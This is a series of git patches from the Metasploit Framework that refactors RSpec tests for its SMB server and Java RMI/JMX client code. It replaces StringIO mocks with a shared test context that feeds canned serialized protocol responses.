length, timeout| - io.read - end + io.define_singleton_method(:get_once) { |length=0, timeout=nil| + read + } - allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| + io.define_singleton_method(:has_read_data?) { |timeout=nil| false - end + } end it "raises an Rex::Proto::Rmi::Exception" do @@ -223,19 +202,35 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do context "when there is an interface bound" do before(:each) do - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.seek(0) - io.write(lookup_response) - io.seek(0) + io.define_singleton_method(:put) do |data| + seek(0) + write( + "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xba\x73\x72\x00\x2e\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + + "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x53\x65\x72\x76\x65\x72\x49" + + "\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00\x00\x00\x00\x02" + + "\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72\x6d\x69" + + "\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x53\x74" + + "\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00\x00\x70\x78\x72" + + "\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65" + + "\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65\x63\x74\xd3\x61" + + "\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70\x77\x37\x00\x0a" + + "\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37\x32\x2e" + + "\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x13\x26\xa0\x59" + + "\x9d\x0d\x09\xd3\x01\xbd\x82\x73\x92\x35\x00\x00\x01\x4c\x48\x27" + + "\x84\x49\x80\x01\x01\x78" + ) + seek(0) end - allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| - io.read - end + io.define_singleton_method(:get_once) { |length=0, timeout=nil| + read + } - allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| + io.define_singleton_method(:has_read_data?) { |timeout=nil| false - end + } end it "returns the reference information" do diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb index 7f8f628806..93164a425f 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb @@ -39,8 +39,8 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod.file_name = 'test.exe' mod.file_contents = 'metasploit' - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.write(data) + client.define_singleton_method(:put) do |data| + write(data) end end From 11ea7ee5b98823c47be058c4f3e4136ffc329b1d Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Tue, 24 Nov 2015 08:13:19 -0600 Subject: [PATCH 053/103] update mocks for smb specs --- .../exploit/smb/server/share/command/close_spec.rb | 12 +++++++----- .../smb/server/share/command/negotiate_spec.rb | 12 +++++++----- .../smb/server/share/command/nt_create_andx_spec.rb | 12 +++++++----- .../smb/server/share/command/read_andx_spec.rb | 12 +++++++----- .../server/share/command/session_setup_andx_spec.rb | 12 +++++++----- .../server/share/command/trans2/find_first2_spec.rb | 12 +++++++----- .../command/trans2/query_file_information_spec.rb | 12 +++++++----- .../command/trans2/query_path_information_spec.rb | 12 +++++++----- .../exploit/smb/server/share/command/trans2_spec.rb | 12 +++++++----- .../smb/server/share/information_level/find_spec.rb | 12 +++++++----- .../smb/server/share/information_level/query_spec.rb | 12 +++++++----- 11 files changed, 77 insertions(+), 55 deletions(-) diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/close_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/close_spec.rb index 9c4947206a..c4875cbda1 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/close_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/close_spec.rb @@ -16,7 +16,13 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do end let(:client_string) { '' } - let(:client) { StringIO.new(client_string) } + let(:client) { + StringIO.new(client_string).tap do |string_io| + def string_io.put(data) + write data + end + end + } let(:response_length) { 39 } let(:valid_response) do "\x00\x00\x00\x23\xff\x53\x4d\x42" + @@ -35,10 +41,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do :dir_id => 0xbeef } }) - - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.write(data) - end end describe "#send_close_res" do diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/negotiate_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/negotiate_spec.rb index ac3ca8d7ee..74f3397ff0 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/negotiate_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/negotiate_spec.rb @@ -17,7 +17,13 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do end let(:client_string) { '' } - let(:client) { StringIO.new(client_string) } + let(:client) { + StringIO.new(client_string).tap do |string_io| + def string_io.put(data) + write data + end + end + } let(:default_response_length) { 73 } let(:default_response) do "\x00\x00\x00\x45\xff\x53\x4d\x42" + @@ -56,10 +62,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do }) mod.lo = 0 mod.hi = 0 - - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.write(data) - end end describe "#send_negotitate_res" do diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb index 18835855ed..b56d3447f9 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb @@ -16,7 +16,13 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do end let(:client_string) { '' } - let(:client) { StringIO.new(client_string) } + let(:client) { + StringIO.new(client_string).tap do |string_io| + def string_io.put(data) + write data + end + end + } let(:default_response_length) { 139 } let(:default_response) do @@ -81,10 +87,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod.share = 'test' mod.file_name = 'false.exe' mod.file_contents = 'metasploit' - - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.write(data) - end end describe "#send_nt_create_andx_res" do diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb index 62d9da0c34..844b3af4c2 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb @@ -16,7 +16,13 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do end let(:client_string) { '' } - let(:client) { StringIO.new(client_string) } + let(:client) { + StringIO.new(client_string).tap do |string_io| + def string_io.put(data) + write data + end + end + } let(:default_response_length) { 63 } let(:default_response) do @@ -69,10 +75,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod.share = 'test' mod.file_name = 'false.exe' mod.file_contents = 'metasploit' - - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.write(data) - end end describe "#send_read_andx_res" do diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb index b0f99b9f11..a01e76c934 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb @@ -16,7 +16,13 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do end let(:client_string) { '' } - let(:client) { StringIO.new(client_string) } + let(:client) { + StringIO.new(client_string).tap do |string_io| + def string_io.put(data) + write data + end + end + } let(:default_response_length) { 45 } let(:default_response) do @@ -80,10 +86,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod.share = 'test' mod.file_name = 'false.exe' mod.file_contents = 'metasploit' - - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.write(data) - end end describe "#send_session_setup_andx_res" do diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb index 93164a425f..62b5d42c53 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb @@ -16,7 +16,13 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do end let(:client_string) { '' } - let(:client) { StringIO.new(client_string) } + let(:client) { + StringIO.new(client_string).tap do |string_io| + def string_io.put(data) + write data + end + end + } let(:valid_find_file_both_directory_info_params) do "\x16\x00\x56\x05\x07\x00\x04\x01\x00\x00\x00\x00\x5c\x00\x74\x00" + @@ -38,10 +44,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod.share = 'test' mod.file_name = 'test.exe' mod.file_contents = 'metasploit' - - client.define_singleton_method(:put) do |data| - write(data) - end end describe "#smb_cmd_trans2_find_first2" do diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb index e0e80c70e6..dbc6515a1e 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb @@ -16,7 +16,13 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do end let(:client_string) { '' } - let(:client) { StringIO.new(client_string) } + let(:client) { + StringIO.new(client_string).tap do |string_io| + def string_io.put(data) + write data + end + end + } let(:valid_query_file_standard_info_params) do "\xad\xde\xed\x03" @@ -37,10 +43,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod.share = 'test' mod.file_name = 'test.exe' mod.file_contents = 'metasploit' - - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.write(data) - end end describe "#smb_cmd_trans2_query_file_information" do diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb index 67e353b5c5..01165159bf 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb @@ -16,7 +16,13 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do end let(:client_string) { '' } - let(:client) { StringIO.new(client_string) } + let(:client) { + StringIO.new(client_string).tap do |string_io| + def string_io.put(data) + write data + end + end + } let(:valid_query_path_standard_info_params) do "\xed\x03\x00\x00\x00\x00\x5c\x00\x74\x00\x65\x00\x73\x00\x74\x00" + @@ -50,10 +56,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod.share = 'test' mod.file_name = 'test.exe' mod.file_contents = 'metasploit' - - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.write(data) - end end describe "#smb_cmd_trans2_query_path_information" do diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb index ed1f373351..556fa91924 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb @@ -16,7 +16,13 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do end let(:client_string) { '' } - let(:client) { StringIO.new(client_string) } + let(:client) { + StringIO.new(client_string).tap do |string_io| + def string_io.put(data) + write data + end + end + } let(:unicode_path) { "\x5c\x00\x74\x00\x65\x00\x73\x00\x74\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00" } let(:normalized_path) { '\\test.exe' } @@ -80,10 +86,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod.share = 'test' mod.file_name = 'test.exe' mod.file_contents = 'metasploit' - - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.write(data) - end end describe "#normalize_path" do diff --git a/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb index 2c3c4357a7..07641aa221 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb @@ -16,7 +16,13 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do end let(:client_string) { '' } - let(:client) { StringIO.new(client_string) } + let(:client) { + StringIO.new(client_string).tap do |string_io| + def string_io.put(data) + write data + end + end + } let(:default_find_file_both_directory_info_res_length) { 163 } let(:default_find_file_both_directory_info_res) do @@ -86,10 +92,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod.share = 'test' mod.file_name = 'test.exe' mod.file_contents = 'metasploit' - - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.write(data) - end end describe "#send_find_file_both_directory_info_res" do diff --git a/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb index 170fee63c9..88133d9ec8 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb @@ -16,7 +16,13 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do end let(:client_string) { '' } - let(:client) { StringIO.new(client_string) } + let(:client) { + StringIO.new(client_string).tap do |string_io| + def string_io.put(data) + write data + end + end + } let(:default_info_basic_res_length) { 101 } let(:default_info_basic_res) do @@ -81,10 +87,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod.share = 'test' mod.file_name = 'test.exe' mod.file_contents = 'metasploit' - - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.write(data) - end end describe "#send_info_basic_res" do From 236c28b6fb2fd24d172f15e0e957c4140d9c299a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Tue, 24 Nov 2015 09:42:57 -0600 Subject: [PATCH 054/103] Add shared context --- .../remote/java/rmi/client/jmx/server_spec.rb | 42 +------------------ spec/support/shared/contexts/msf/string_io.rb | 37 ++++++++++++++++ 2 files changed, 39 insertions(+), 40 deletions(-) create mode 100644 spec/support/shared/contexts/msf/string_io.rb diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb index 371c987b16..deb6cb78e3 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb @@ -19,54 +19,16 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server do describe "#send_new_client" do context "when there is an RMIServerImpl_Stub interface" do + include_context "Msf::StringIO" + # # lets # - let(:io) { - StringIO.new('', 'w+b') - } - let(:remote_address) { '172.16.158.132' } - # - # Callbacks - # - - before(:each) do - def io.get_once - read - end - - def io.has_read_data?(_timeout) - false - end - - def io.put(_data) - seek(0) - write( - "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + - "\x48\x27\x84\x49\x80\xbf\x73\x72\x00\x32\x6a\x61\x76\x61\x78\x2e" + - "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + - "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x43\x6f\x6e\x6e\x65\x63\x74" + - "\x69\x6f\x6e\x49\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00" + - "\x00\x00\x00\x02\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61" + - "\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f" + - "\x74\x65\x53\x74\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00" + - "\x00\x70\x78\x72\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73" + - "\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65" + - "\x63\x74\xd3\x61\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70" + - "\x77\x37\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e" + - "\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00" + - "\x13\x26\xa2\x01\x50\x97\x40\xd4\x90\xd1\x82\x73\x92\x35\x00\x00" + - "\x01\x4c\x48\x27\x84\x49\x80\xbe\x01\x78" - ) - seek(0) - end - end - it "returns the reference information" do expect(instance.send_new_client(sock: io)[:address]).to eq(remote_address) end diff --git a/spec/support/shared/contexts/msf/string_io.rb b/spec/support/shared/contexts/msf/string_io.rb new file mode 100644 index 0000000000..c3fd7dfd3b --- /dev/null +++ b/spec/support/shared/contexts/msf/string_io.rb @@ -0,0 +1,37 @@ +RSpec.shared_context 'Msf::StringIO' do + let(:io) do + StringIO.new('', 'w+b') + end + + before(:each) do + def io.get_once + read + end + + def io.has_read_data?(_timeout) + false + end + + def io.put(_data) + seek(0) + write( + "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xbf\x73\x72\x00\x32\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + + "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x43\x6f\x6e\x6e\x65\x63\x74" + + "\x69\x6f\x6e\x49\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00" + + "\x00\x00\x00\x02\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61" + + "\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f" + + "\x74\x65\x53\x74\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00" + + "\x00\x70\x78\x72\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73" + + "\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65" + + "\x63\x74\xd3\x61\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70" + + "\x77\x37\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e" + + "\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00" + + "\x13\x26\xa2\x01\x50\x97\x40\xd4\x90\xd1\x82\x73\x92\x35\x00\x00" + + "\x01\x4c\x48\x27\x84\x49\x80\xbe\x01\x78" + ) + seek(0) + end + end +end From 4872628ff5017ebabb7cad4a94b0c0dfb6626e93 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Tue, 24 Nov 2015 10:16:43 -0600 Subject: [PATCH 055/103] Try to make it generic --- .../remote/java/rmi/client/jmx/server_spec.rb | 27 ++++++++++++++++-- spec/support/shared/contexts/msf/string_io.rb | 28 +++++-------------- 2 files changed, 32 insertions(+), 23 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb index deb6cb78e3..221d6f2eef 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb @@ -4,7 +4,6 @@ require 'spec_helper' require 'rex/java/serialization' require 'rex/proto/rmi' require 'msf/core/exploit/java/rmi/client' -require 'stringio' RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server do subject(:instance) { @@ -21,6 +20,30 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server do context "when there is an RMIServerImpl_Stub interface" do include_context "Msf::StringIO" + before(:each) do + def msf_io.put(_data) + seek(0) + write( + "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xbf\x73\x72\x00\x32\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + + "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x43\x6f\x6e\x6e\x65\x63\x74" + + "\x69\x6f\x6e\x49\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00" + + "\x00\x00\x00\x02\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61" + + "\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f" + + "\x74\x65\x53\x74\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00" + + "\x00\x70\x78\x72\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73" + + "\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65" + + "\x63\x74\xd3\x61\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70" + + "\x77\x37\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e" + + "\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00" + + "\x13\x26\xa2\x01\x50\x97\x40\xd4\x90\xd1\x82\x73\x92\x35\x00\x00" + + "\x01\x4c\x48\x27\x84\x49\x80\xbe\x01\x78" + ) + seek(0) + end + end + # # lets # @@ -30,7 +53,7 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server do } it "returns the reference information" do - expect(instance.send_new_client(sock: io)[:address]).to eq(remote_address) + expect(instance.send_new_client(sock: msf_io)[:address]).to eq(remote_address) end end end diff --git a/spec/support/shared/contexts/msf/string_io.rb b/spec/support/shared/contexts/msf/string_io.rb index c3fd7dfd3b..ae24f2cf5d 100644 --- a/spec/support/shared/contexts/msf/string_io.rb +++ b/spec/support/shared/contexts/msf/string_io.rb @@ -1,36 +1,22 @@ +require 'stringio' + RSpec.shared_context 'Msf::StringIO' do - let(:io) do + let(:msf_io) do StringIO.new('', 'w+b') end before(:each) do - def io.get_once + def msf_io.get_once read end - def io.has_read_data?(_timeout) + def msf_io.has_read_data?(_timeout) false end - def io.put(_data) + def msf_io.put(_data) seek(0) - write( - "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + - "\x48\x27\x84\x49\x80\xbf\x73\x72\x00\x32\x6a\x61\x76\x61\x78\x2e" + - "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + - "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x43\x6f\x6e\x6e\x65\x63\x74" + - "\x69\x6f\x6e\x49\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00" + - "\x00\x00\x00\x02\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61" + - "\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f" + - "\x74\x65\x53\x74\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00" + - "\x00\x70\x78\x72\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73" + - "\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65" + - "\x63\x74\xd3\x61\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70" + - "\x77\x37\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e" + - "\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00" + - "\x13\x26\xa2\x01\x50\x97\x40\xd4\x90\xd1\x82\x73\x92\x35\x00\x00" + - "\x01\x4c\x48\x27\x84\x49\x80\xbe\x01\x78" - ) + write(_data) seek(0) end end From 2041149d544dfa098a933145433d69a6db821481 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Tue, 24 Nov 2015 12:38:19 -0600 Subject: [PATCH 056/103] Use Msf::StringIO in connection_spec --- .../java/rmi/client/jmx/connection_spec.rb | 45 +++++-------------- .../remote/java/rmi/client/jmx/server_spec.rb | 4 ++ spec/support/shared/contexts/msf/string_io.rb | 4 ++ 3 files changed, 20 insertions(+), 33 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb index 75e6e29541..4072a8dfc2 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb @@ -4,7 +4,6 @@ require 'spec_helper' require 'rex/java/serialization' require 'rex/proto/rmi' require 'msf/core/exploit/java/rmi/client' -require 'stringio' RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do @@ -21,10 +20,10 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do mod end - let(:io) { StringIO.new('', 'w+b') } - describe "#send_jmx_get_object_instance" do context "when the object exists" do + include_context "Msf::StringIO" + # # lets # @@ -36,15 +35,7 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do # before(:each) do - def io.get_once - read - end - - def io.has_read_data?(_timeout) - false - end - - def io.put(_data) + def msf_io.put(_data) seek(0) write( "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + @@ -69,23 +60,17 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do end it "returns true" do - expect(mod.send_jmx_get_object_instance(sock: io, name: name_get)).to be_truthy + expect(mod.send_jmx_get_object_instance(sock: msf_io, name: name_get)).to be_truthy end end end describe "#send_jmx_create_mbean" do context "when the object is created successfully" do + include_context "Msf::StringIO" + before(:each) do - def io.get_once - read - end - - def io.has_read_data?(_timeout) - false - end - - def io.put(_data) + def msf_io.put(_data) seek(0) write( "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + @@ -110,13 +95,15 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do end it "returns true" do - expect(mod.send_jmx_create_mbean(sock: io, name: name_create)).to be_truthy + expect(mod.send_jmx_create_mbean(sock: msf_io, name: name_create)).to be_truthy end end end describe "#send_jmx_invoke" do context "when the remote method is called successfully" do + include_context "Msf::StringIO" + # # lets # @@ -134,15 +121,7 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do # before(:each) do - def io.get_once - read - end - - def io.has_read_data?(_timeout) - false - end - - def io.put(_data) + def msf_io.put(_data) seek(0) write( "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + @@ -170,7 +149,7 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do end it "returns true" do - expect(mod.send_jmx_invoke(invoke_args.merge(sock: io))).to be_truthy + expect(mod.send_jmx_invoke(invoke_args.merge(sock: msf_io))).to be_truthy end end end diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb index 221d6f2eef..42c08ef9b5 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb @@ -20,6 +20,10 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server do context "when there is an RMIServerImpl_Stub interface" do include_context "Msf::StringIO" + # + # Callbacks + # + before(:each) do def msf_io.put(_data) seek(0) diff --git a/spec/support/shared/contexts/msf/string_io.rb b/spec/support/shared/contexts/msf/string_io.rb index ae24f2cf5d..6bc475919f 100644 --- a/spec/support/shared/contexts/msf/string_io.rb +++ b/spec/support/shared/contexts/msf/string_io.rb @@ -5,6 +5,10 @@ RSpec.shared_context 'Msf::StringIO' do StringIO.new('', 'w+b') end + # + # Callbacks + # + before(:each) do def msf_io.get_once read From 3d0fcdf84d6e6a98812508a37c602b33b7d410bf 